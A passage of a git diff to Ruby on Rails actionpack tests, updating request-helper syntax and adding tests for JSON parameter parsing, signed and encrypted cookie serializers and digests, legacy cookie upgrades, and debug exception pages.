   def test_register_and_use_json_simple
     with_test_route_set do
-      with_params_parsers Mime::JSON => Proc.new { |data| JSON.parse(data)['request'].with_indifferent_access } do
-        post "/", '{"request":{"summary":"content...","title":"JSON"}}',
-          'CONTENT_TYPE' => 'application/json'
+      with_params_parsers Mime::JSON => Proc.new { |data| ActiveSupport::JSON.decode(data)['request'].with_indifferent_access } do
+        post "/",
+          params: '{"request":{"summary":"content...","title":"JSON"}}',
+          headers: { 'CONTENT_TYPE' => 'application/json' }
 
         assert_equal 'summary, title', @controller.response.body
         assert @controller.params.has_key?(:summary)
@@ -69,19 +75,33 @@ class WebServiceTest < ActionDispatch::IntegrationTest
 
   def test_use_json_with_empty_request
     with_test_route_set do
-      assert_nothing_raised { post "/", "", 'CONTENT_TYPE' => 'application/json' }
+      assert_nothing_raised { post "/", headers: { 'CONTENT_TYPE' => 'application/json' } }
       assert_equal '', @controller.response.body
     end
   end
 
   def test_dasherized_keys_as_json
     with_test_route_set do
-      post "/?full=1", '{"first-key":{"sub-key":"..."}}', 'CONTENT_TYPE' => 'application/json'
+      post "/?full=1",
+        params: '{"first-key":{"sub-key":"..."}}',
+        headers: { 'CONTENT_TYPE' => 'application/json' }
       assert_equal 'action, controller, first-key(sub-key), full', @controller.response.body
       assert_equal "...", @controller.params['first-key']['sub-key']
     end
   end
 
+  def test_parsing_json_doesnot_rescue_exception
+    with_test_route_set do
+      with_params_parsers Mime::JSON => Proc.new { |data| raise Interrupt } do
+        assert_raises(Interrupt) do
+          post "/",
+            params: '{"title":"JSON"}}',
+            headers: { 'CONTENT_TYPE' => 'application/json' }
+        end
+      end
+    end
+  end
+
   private
     def with_params_parsers(parsers = {})
       old_session = @integration_session
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
index 91ac13e7c6..6223a52a76 100644
--- a/actionpack/test/dispatch/cookies_test.rb
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -1,16 +1,29 @@
 require 'abstract_unit'
-
-begin
-  require 'openssl'
-  OpenSSL::PKCS5
-rescue LoadError, NameError
-  $stderr.puts "Skipping KeyGenerator test: broken OpenSSL install"
-else
-
+require 'openssl'
 require 'active_support/key_generator'
 require 'active_support/message_verifier'
 
 class CookiesTest < ActionController::TestCase
+  class CustomSerializer
+    def self.load(value)
+      value.to_s + " and loaded"
+    end
+
+    def self.dump(value)
+      value.to_s + " was dumped"
+    end
+  end
+
+  class JSONWrapper
+    def initialize(obj)
+      @obj = obj
+    end
+
+    def as_json(options = nil)
+      "wrapped: #{@obj.as_json(options)}"
+    end
+  end
+
   class TestController < ActionController::Base
     def authenticate
       cookies["user_name"] = "david"
@@ -75,6 +88,11 @@ class CookiesTest < ActionController::TestCase
       head :ok
     end
 
+    def set_wrapped_signed_cookie
+      cookies.signed[:user_id] = JSONWrapper.new(45)
+      head :ok
+    end
+
     def get_signed_cookie
       cookies.signed[:user_id]
       head :ok
@@ -85,6 +103,11 @@ class CookiesTest < ActionController::TestCase
       head :ok
     end
 
+    def set_wrapped_encrypted_cookie
+      cookies.encrypted[:foo] = JSONWrapper.new('bar')
+      head :ok
+    end
+
     def get_encrypted_cookie
       cookies.encrypted[:foo]
       head :ok
@@ -122,11 +145,21 @@ class CookiesTest < ActionController::TestCase
       head :ok
     end
 
+    def set_cookie_with_domain_all_as_string
+      cookies[:user_name] = {:value => "rizwanreza", :domain => 'all'}
+      head :ok
+    end
+
     def delete_cookie_with_domain
       cookies.delete(:user_name, :domain => :all)
       head :ok
     end
 
+    def delete_cookie_with_domain_all_as_string
+      cookies.delete(:user_name, :domain => 'all')
+      head :ok
+    end
+
     def set_cookie_with_domain_and_tld
       cookies[:user_name] = {:value => "rizwanreza", :domain => :all, :tld_length => 2}
       head :ok
@@ -176,7 +209,7 @@ class CookiesTest < ActionController::TestCase
 
   def setup
     super
-    @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33")
+    @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33", iterations: 2)
     @request.env["action_dispatch.signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
     @request.env["action_dispatch.encrypted_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
     @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
@@ -253,7 +286,7 @@ class CookiesTest < ActionController::TestCase
   def test_setting_the_same_value_to_permanent_cookie
     request.cookies[:user_name] = 'Jamie'
     get :set_permanent_cookie
-    assert_equal response.cookies, 'user_name' => 'Jamie'
+    assert_equal({'user_name' => 'Jamie'}, response.cookies)
   end
 
   def test_setting_with_escapable_characters
@@ -359,17 +392,128 @@ class CookiesTest < ActionController::TestCase
     assert_equal 'Jamie', @controller.send(:cookies).permanent[:user_name]
   end
 
-  def test_signed_cookie
+  def test_signed_cookie_using_default_digest
     get :set_signed_cookie
-    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: 'SHA1')
+    assert_equal verifier.generate(45), cookies[:user_id]
+  end
+
+  def test_signed_cookie_using_custom_digest
+    @request.env["action_dispatch.cookies_digest"] = 'SHA256'
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: 'SHA256')
+    assert_equal verifier.generate(45), cookies[:user_id]
+  end
+
+  def test_signed_cookie_using_default_serializer
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_marshal_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :marshal
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_wrapped_signed_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_wrapped_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 'wrapped: 45', cookies[:user_id]
+    assert_equal 'wrapped: 45', cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_custom_serializer
+    @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+    get :set_signed_cookie
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal '45 was dumped and loaded', cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+
+    marshal_value = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal).generate(45)
+    @request.headers["Cookie"] = "user_id=#{marshal_value}"
+
+    get :get_signed_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies['user_id'])
+  end
+
+  def test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+    json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)
+    @request.headers["Cookie"] = "user_id=#{json_value}"
+
+    get :get_signed_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    assert_nil @response.cookies["user_id"]
   end
 
-  def test_accessing_nonexistant_signed_cookie_should_not_raise_an_invalid_signature
+  def test_accessing_nonexistent_signed_cookie_should_not_raise_an_invalid_signature
     get :set_signed_cookie
     assert_nil @controller.send(:cookies).signed[:non_existant_attribute]
   end
 
-  def test_encrypted_cookie
+  def test_encrypted_cookie_using_default_serializer
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 'bar', cookies[:foo]
+    assert_raise TypeError do
+      cookies.signed[:foo]
+    end
+    assert_equal 'bar', cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_marshal_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :marshal
     get :set_encrypted_cookie
     cookies = @controller.send :cookies
     assert_not_equal 'bar', cookies[:foo]
@@ -379,7 +523,99 @@ class CookiesTest < ActionController::TestCase
     assert_equal 'bar', cookies.encrypted[:foo]
   end
 
-  def test_accessing_nonexistant_encrypted_cookie_should_not_raise_invalid_message
+  def test_encrypted_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 'bar', cookies[:foo]
+    assert_raises ::JSON::ParserError do
+      cookies.signed[:foo]
+    end
+    assert_equal 'bar', cookies.encrypted[:foo]
+  end
+
+  def test_wrapped_encrypted_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_wrapped_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 'wrapped: bar', cookies[:foo]
+    assert_raises ::JSON::ParserError do
+      cookies.signed[:foo]
+    end
+    assert_equal 'wrapped: bar', cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_custom_serializer
+    @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+    get :set_encrypted_cookie
+    assert_not_equal 'bar', cookies.encrypted[:foo]
+    assert_equal 'bar was dumped and loaded', cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_custom_digest
+    @request.env["action_dispatch.cookies_digest"] = 'SHA256'
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 'bar', cookies[:foo]
+    assert_equal 'bar', cookies.encrypted[:foo]
+
+    sign_secret = @request.env["action_dispatch.key_generator"].generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+
+    sha1_verifier   = ActiveSupport::MessageVerifier.new(sign_secret, serializer: ActiveSupport::MessageEncryptor::NullSerializer, digest: 'SHA1')
+    sha256_verifier = ActiveSupport::MessageVerifier.new(sign_secret, serializer: ActiveSupport::MessageEncryptor::NullSerializer, digest: 'SHA256')
+
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      sha1_verifier.verify(cookies[:foo])
+    end
+
+    assert_nothing_raised do
+      sha256_verifier.verify(cookies[:foo])
+    end
+  end
+
+  def test_encrypted_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt)
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+
+    marshal_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: Marshal).encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{marshal_value}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_encrypted_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt)
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    json_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON).encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{json_value}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    assert_nil @response.cookies["foo"]
+  end
+
+  def test_accessing_nonexistent_encrypted_cookie_should_not_raise_invalid_message
     get :set_encrypted_cookie
     assert_nil @controller.send(:cookies).encrypted[:non_existant_attribute]
   end
@@ -537,6 +773,123 @@ class CookiesTest < ActionController::TestCase
     assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
+  def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate('bar')
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+    assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate('bar')
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+    assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_marshal_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_marshal_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate('bar')
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+    assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
   def test_legacy_signed_cookie_is_treated_as_nil_by_signed_cookie_jar_if_tampered
     @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
     @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
@@ -634,6 +987,13 @@ class CookiesTest < ActionController::TestCase
     assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
   end
 
+  def test_cookie_with_all_domain_option_using_a_non_standard_2_letter_tld
+    @request.host = "admin.lvh.me"
+    get :set_cookie_with_domain_and_tld
+    assert_response :success
+    assert_cookie_header "user_name=rizwanreza; domain=.lvh.me; path=/"
+  end
+
   def test_cookie_with_all_domain_option_using_host_with_port_and_tld_length
     @request.host = "nextangle.local:3000"
     get :set_cookie_with_domain_and_tld
@@ -694,8 +1054,6 @@ class CookiesTest < ActionController::TestCase
     assert_equal "dhh", cookies['user_name']
   end
 
-
-
   def test_setting_request_cookies_is_indifferent_access
     cookies.clear
     cookies[:user_name] = "andrew"
@@ -807,5 +1165,3 @@ class CookiesTest < ActionController::TestCase
       end
     end
 end
-
-end
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
index 3045a07ad6..7921f05688 100644
--- a/actionpack/test/dispatch/debug_exceptions_test.rb
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -10,6 +10,8 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
       @closed = false
     end
 
+    # We're obliged to implement this (even though it doesn't actually
+    # get called here) to properly comply with the Rack SPEC
     def each
     end
 
@@ -17,6 +19,10 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
       @closed = true
     end
 
+    def method_that_raises
+      raise StandardError.new 'error in framework'
+    end
+
     def call(env)
       env['action_dispatch.show_detailed_exceptions'] = @detailed
       req = ActionDispatch::Request.new(env)
@@ -37,12 +43,28 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
         raise ActionController::InvalidAuthenticityToken
       when "/not_found_original_exception"
         raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new)
+      when "/missing_template"
+        raise ActionView::MissingTemplate.new(%w(foo), 'foo/index', %w(foo), false, 'mailer')
       when "/bad_request"
         raise ActionController::BadRequest
       when "/missing_keys"
         raise ActionController::UrlGenerationError, "No route matches"
       when "/parameter_missing"
         raise ActionController::ParameterMissing, :missing_param_key
+      when "/original_syntax_error"
+        eval 'broke_syntax =' # `eval` need for raise native SyntaxError at runtime
+      when "/syntax_error_into_view"
+        begin
+          eval 'broke_syntax ='
+        rescue Exception => e
+          template = ActionView::Template.new(File.read(__FILE__),
+                                              __FILE__,
+                                              ActionView::Template::Handlers::Raw.new,
+                                              {})
+          raise ActionView::Template::Error.new(template, e)
+        end
+      when "/framework_raises"
+        method_that_raises
       else
         raise "puke!"
       end
@@ -64,21 +86,21 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
   test 'skip diagnosis if not showing detailed exceptions' do
     @app = ProductionApp
     assert_raise RuntimeError do
-      get "/", {}, {'action_dispatch.show_exceptions' => true}
+      get "/", headers: { 'action_dispatch.show_exceptions' => true }
     end
   end
 
   test 'skip diagnosis if not showing exceptions' do
     @app = DevelopmentApp
     assert_raise RuntimeError do
-      get "/", {}, {'action_dispatch.show_exceptions' => false}
+      get "/", headers: { 'action_dispatch.show_exceptions' => false }
     end
   end
 
   test 'raise an exception on cascade pass' do
     @app = ProductionApp
     assert_raise ActionController::RoutingError do
-      get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+      get "/pass", headers: { 'action_dispatch.show_exceptions' => true }
     end
   end
 
@@ -86,44 +108,53 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
     boomer = Boomer.new(false)
     @app = ActionDispatch::DebugExceptions.new(boomer)
     assert_raise ActionController::RoutingError do
-      get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+      get "/pass", headers: { 'action_dispatch.show_exceptions' => true }
     end
     assert boomer.closed, "Expected to close the response body"
   end
 
   test 'displays routes in a table when a RoutingError occurs' do
     @app = DevelopmentApp
-    get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+    get "/pass", headers: { 'action_dispatch.show_exceptions' => true }
     routing_table = body[/route_table.*<.table>/m]
     assert_match '/:controller(/:action)(.:format)', routing_table
     assert_match ':controller#:action', routing_table
     assert_no_match '&lt;|&gt;', routing_table, "there should not be escaped html in the output"
   end
 
+  test 'displays request and response info when a RoutingError occurs' do
+    @app = DevelopmentApp
+
+    get "/pass", headers: { 'action_dispatch.show_exceptions' => true }
+
+    assert_select 'h2', /Request/
+    assert_select 'h2', /Response/
+  end
+
   test "rescue with diagnostics message" do
     @app = DevelopmentApp
 
-    get "/", {}, {'action_dispatch.show_exceptions' => true}
+    get "/", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 500
     assert_match(/puke/, body)
 
-    get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
+    get "/not_found", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 404
     assert_match(/#{AbstractController::ActionNotFound.name}/, body)
 
-    get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+    get "/method_not_allowed", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 405
     assert_match(/ActionController::MethodNotAllowed/, body)
 
-    get "/unknown_http_method", {}, {'action_dispatch.show_exceptions' => true}
+    get "/unknown_http_method", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 405
     assert_match(/ActionController::UnknownHttpMethod/, body)
 
-    get "/bad_request", {}, {'action_dispatch.show_exceptions' => true}
+    get "/bad_request", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 400
     assert_match(/ActionController::BadRequest/, body)
 
-    get "/parameter_missing", {}, {'action_dispatch.show_exceptions' => true}
+    get "/parameter_missing", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 400
     assert_match(/ActionController::ParameterMissing/, body)
   end
@@ -132,48 +163,49 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
     @app = DevelopmentApp
     xhr_request_env = {'action_dispatch.show_exceptions' => true, 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'}
 
-    get "/", {}, xhr_request_env
+    get "/", headers: xhr_request_env
     assert_response 500
+    assert_no_match(/<header>/, body)
     assert_no_match(/<body>/, body)
-    assert_equal response.content_type, "text/plain"
-    assert_match(/puke/, body)
+    assert_equal "text/plain", response.content_type
+    assert_match(/RuntimeError\npuke/, body)
 
-    get "/not_found", {}, xhr_request_env
+    get "/not_found", headers: xhr_request_env
     assert_response 404
     assert_no_match(/<body>/, body)
-    assert_equal response.content_type, "text/plain"
+    assert_equal "text/plain", response.content_type
     assert_match(/#{AbstractController::ActionNotFound.name}/, body)
 
-    get "/method_not_allowed", {}, xhr_request_env
+    get "/method_not_allowed", headers: xhr_request_env
     assert_response 405
     assert_no_match(/<body>/, body)
-    assert_equal response.content_type, "text/plain"
+    assert_equal "text/plain", response.content_type
     assert_match(/ActionController::MethodNotAllowed/, body)
 
-    get "/unknown_http_method", {}, xhr_request_env
+    get "/unknown_http_method", headers: xhr_request_env
     assert_response 405
     assert_no_match(/<body>/, body)
-    assert_equal response.content_type, "text/plain"
+    assert_equal "text/plain", response.content_type
     assert_match(/ActionController::UnknownHttpMethod/, body)
 
-    get "/bad_request", {}, xhr_request_env
+    get "/bad_request", headers: xhr_request_env
     assert_response 400
     assert_no_match(/<body>/, body)
-    assert_equal response.content_type, "text/plain"
+    assert_equal "text/plain", response.content_type
     assert_match(/ActionController::BadRequest/, body)
 
-    get "/parameter_missing", {}, xhr_request_env
+    get "/parameter_missing", headers: xhr_request_env
     assert_response 400
     assert_no_match(/<body>/, body)
-    assert_equal response.content_type, "text/plain"
+    assert_equal "text/plain", response.content_type
     assert_match(/ActionController::ParameterMissing/, body)
   end
 
   test "does not show filtered parameters" do
     @app = DevelopmentApp
 
-    get "/", {"foo"=>"bar"}, {'action_dispatch.show_exceptions' => true,
-      'action_dispatch.parameter_filter' => [:foo]}
+    get "/", params: { "foo"=>"bar" }, headers: { 'action_dispatch.show_exceptions' => true,
+      'action_dispatch.parameter_filter' => [:foo] }
     assert_response 500
     assert_match("&quot;foo&quot;=&gt;&quot;[FILTERED]&quot;", body)
   end
@@ -181,7 +213,7 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
   test "show registered original exception for wrapped exceptions" do
     @app = DevelopmentApp
 
-    get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
+    get "/not_found_original_exception", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 404
     assert_match(/AbstractController::ActionNotFound/, body)
   end
@@ -189,7 +221,7 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
   test "named urls missing keys raise 500 level error" do
     @app = DevelopmentApp
 
-    get "/missing_keys", {}, {'action_dispatch.show_exceptions' => true}
+    get "/missing_keys", headers: { 'action_dispatch.show_exceptions' => true }
     assert_response 500
 
     assert_match(/ActionController::UrlGenerationError/, body)
@@ -197,7 +229,7 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
 
   test "show the controller name in the diagnostics template when controller name is present" do
     @app = DevelopmentApp
-    get("/runtime_error", {}, {
+    get("/runtime_error", headers: {
       'action_dispatch.show_exceptions' => true,
       'action_dispatch.request.parameters' => {
